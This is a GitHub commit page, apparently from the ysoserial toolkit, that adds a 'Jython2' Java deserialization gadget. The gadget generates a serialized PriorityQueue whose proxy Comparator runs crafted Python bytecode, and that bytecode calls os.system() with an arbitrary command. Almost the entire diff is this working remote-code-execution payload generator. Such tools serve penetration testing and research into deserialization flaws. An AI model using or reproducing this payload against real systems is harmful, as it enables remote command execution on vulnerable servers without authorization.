Skip to content

Commit 30ca17f

Browse files
ykosterfrohoff
andauthored
Add Jython2 gadget (#135)
This version of Jython2 executes a command through os.system(). Based on Jython1 from @pwntester & @cschneider4711 Co-authored-by: Chris Frohoff <chris@frohoff.org>
1 parent 255ed9a commit 30ca17f

File tree

2 files changed

+58
-0
lines changed

2 files changed

+58
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package ysoserial.payloads;
2+
3+
import org.python.core.*;
4+
import java.math.BigInteger;
5+
import java.lang.reflect.Proxy;
6+
import java.util.Comparator;
7+
import java.util.PriorityQueue;
8+
import ysoserial.payloads.annotation.Authors;
9+
import ysoserial.payloads.util.Reflections;
10+
import ysoserial.payloads.annotation.Dependencies;
11+
import ysoserial.payloads.util.PayloadRunner;
12+
13+
/**
14+
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
15+
* and Yorick Koster (@ykoster)
16+
*
17+
* This version of Jython2 executes a command through os.system().
18+
* Based on Jython1 from @pwntester & @cschneider4711
19+
*/
20+
21+
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
22+
@Dependencies({ "org.python:jython-standalone:2.5.2" })
23+
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
24+
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
25+
26+
public PriorityQueue getObject(String command) throws Exception {
27+
String code =
28+
"740000" + // 0 LOAD_GLOBAL 0 (eval)
29+
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
30+
"830100" + // 6 CALL_FUNCTION 1
31+
"01" + // 9 POP_TOP
32+
"640000" + //10 LOAD_CONST 0 (None)
33+
"53"; //13 RETURN_VALUE
34+
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
35+
String[] names = new String[]{"eval"};
36+
37+
// Generating PyBytecode wrapper for our python bytecode
38+
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
39+
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
40+
41+
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
42+
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
43+
44+
// Prepare Trigger Gadget
45+
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
46+
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
47+
Object[] queue = new Object[] {1,1};
48+
Reflections.setFieldValue(priorityQueue, "queue", queue);
49+
Reflections.setFieldValue(priorityQueue, "size", 2);
50+
51+
return priorityQueue;
52+
}
53+
54+
public static void main(final String[] args) throws Exception {
55+
PayloadRunner.run(Jython2.class, args);
56+
}
57+
}

src/main/java/ysoserial/payloads/annotation/Authors.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@
2323
String SCRISTALLI = "scristalli";
2424
String HANYRAX = "hanyrax";
2525
String EDOARDOVIGNATI = "EdoardoVignati";
26+
String YKOSTER = "ykoster";
2627
String MEIZJM3I = "meizjm3i";
2728
String SCICCONE = "sciccone";
2829
String ZEROTHOUGHTS = "zerothoughts";

0 commit comments

Comments
 (0)